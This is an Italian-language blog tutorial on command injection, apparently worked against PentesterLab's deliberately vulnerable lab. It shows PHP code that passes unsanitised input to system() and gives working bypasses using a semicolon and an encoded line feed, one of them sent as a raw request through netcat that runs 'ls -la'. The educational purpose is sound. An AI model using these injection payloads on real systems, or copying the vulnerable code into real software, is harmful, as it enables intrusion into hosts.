Nozioni basilari di (in)sicurezza delle applicazioni Web – Parte 8 – Command Injection

Tempo di lettura: 7 minuti

Permettere ad un utente di eseguire codice su un programma o su un’applicazione web è una delle operazioni più sensibili che si possano permettere allo stesso. Non bisogna mai fidarsi dell’input e deve essere sempre trattato con i guanti, sanitizzando e debuggando le parti di codice più sensibili. Il buffer overflow è un classico esempio di iniezione di codice, il quale può mettere a repentaglio un intero sistema!

Ma visto che in questa serie non si parla di sicurezza del software, torniamo sui nostri passi ed iniziamo ad analizzare un applicazione web vulnerabile a questo attacco.

Command Injection

In modo simile al Code Injection, OWASP lo definisce come un attacco il cui obbiettivo è quello di eseguire comandi diretti sul sistema operativo tramite l’applicazione vulnerabile. La differenza principale tra i due è che nel primo i comandi sono eseguiti dall’applicazione, mentre in questo caso viene raggiunto il sistema ospitante e si dialoga direttamente con esso.

Esempio 1

Le richiesta è una classica GET, la quale esegue un ping (quindi un software presente nel sistema operativo)

http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1

Per “rompere” il codice, se non opportunamente validato, potrebbe bastare un semplice punto e virgola, ed infatti

Esempio 1
Esempio 1

Come si può notare ho eseguito più comandi direttamente sul sistema operativo con una sola richiesta. Il codice di questo esempio è cosi definito

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="nb">system</span><span class="p">(</span><span class="s2">"ping -c 2 "</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">]);</span>
</span><span class="line"><span class="cp">?></span></span></code>

Inserendo il punto e virgola, aggiungiamo semplicemente altre istruzioni.

Esempio 2

Questa volta è presente qualche tipo di filtraggio, infatti inserendo lo stesso comando di prima viene ritornato errore (Invalid IP address). Ma il programmatore ha pensato ai caratteri unicode speciali?

Esempio 2
Esempio 2

Direi proprio di no. Inserendo il carattere di Line Feed possiamo eseguire i comandi che vogliamo.

In questo caso il codice era

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">])))</span> <span class="p">{</span>
</span><span class="line">     <span class="k">die</span><span class="p">(</span><span class="s2">"Invalid IP address"</span><span class="p">);</span>
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nb">system</span><span class="p">(</span><span class="s2">"ping -c 2 "</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">]);</span>
</span><span class="line"><span class="cp">?></span>
</span></code>

Se nella GET non è presente un indirizzo IP valido l’applicazione ritorna errore, ma il carattere LF aggira tranquillamente il blocco.

Esempio 3

In questo esempio viene eseguito un redirect nel caso non sia presente solo il comando adatto alla richiesta e la pagina elimina ogni richiesta fuori dalle regole. Quindi aggirarlo via browser non è possibile, visto che lo stesso seguirà il redirect e non permetterà l’esecuzione del comando (potrebbe esser possibile bloccarlo e gestire il flusso della pagina con un plugin come NoRedirect, ma non ho provato).

Per osservare la risposta del server utilizzeremo quindi netcat

echo -e "GET /commandexec/example3.php?ip=127.0.0.1%0als+-la HTTP/1.1\r\nHost: 192.168.1.109\r\nConnection: close\r\n" | nc 192.168.1.109 80

Con la prima istruzione stampiamo la richiesta GET /commandexec/example3.php?ip=127.0.0.1%0als+-la (insieme ai dettagli della connessione) e grazie al secondo comando, nc indirizzoIP porta, essa viene inviata all’indirizzo di destinazione.

┌─[mrtouch@parrot]─[~]
└──╼ $echo -e "GET /commandexec/example3.php?ip=127.0.0.1%0als+-la HTTP/1.1\r\nHost: 192.168.1.109\r\nConnection: close\r\n" | nc 192.168.1.109 80
HTTP/1.1 302 Found
Date: Sun, 14 May 2017 20:23:10 GMT
Server: Apache/2.2.16 (Debian)
.
..
...
..
.
<pre>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.022 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.022/0.022/0.022/0.000 ms
total 2
drwxr-xr-x  2 www-data www-data  40 May 14 19:31 .
drwxr-xr-x 16 www-data www-data  60 Jun 17  2013 ..
-rw-r--r--  1 www-data www-data 138 Mar 22  2013 example1.php
-rw-r--r--  1 www-data www-data 252 Mar 22  2013 example2.php
-rw-r--r--  1 www-data www-data 271 Mar 22  2013 example3.php
-rw-r--r--  1 www-data www-data   0 Mar 22  2013 index.html
</pre>
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>

    </div> <!-- /container -->


  </body>
</html>

La pagina risponde si con il codice 302 (redirect, appunto) ma stampa anche il comando che abbiamo inserito.

Il codice è

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/'</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">])))</span> <span class="p">{</span>
</span><span class="line">     <span class="nb">header</span><span class="p">(</span><span class="s2">"Location: example3.php?ip=127.0.0.1"</span><span class="p">);</span>
</span><span class="line">  <span class="p">}</span>
</span><span class="line">  <span class="nb">system</span><span class="p">(</span><span class="s2">"ping -c 2 "</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">]);</span>
</span><span class="line"><span class="cp">?></span></span></code>

La differenza con quello precedente è che il programmatore non ha terminato lo script correttamente e questo ci ha permesso di ottenere il controllo della richiesta.

Conclusioni

A parte l’ultimo esempio che è sicuramente più raro e difficile da rilevare, poter eseguire comandi direttamente sul sistema è un rischio e, se non viene filtrato il codice in modo adeguato, potrebbe permettere ad attaccanti di avere in mano tutto il sistema, come nel caso di Hackademic. Per chi volesse approfondire, OWASP ha un’ottima pagina di testing e di rimedi contro l’attacco in questione.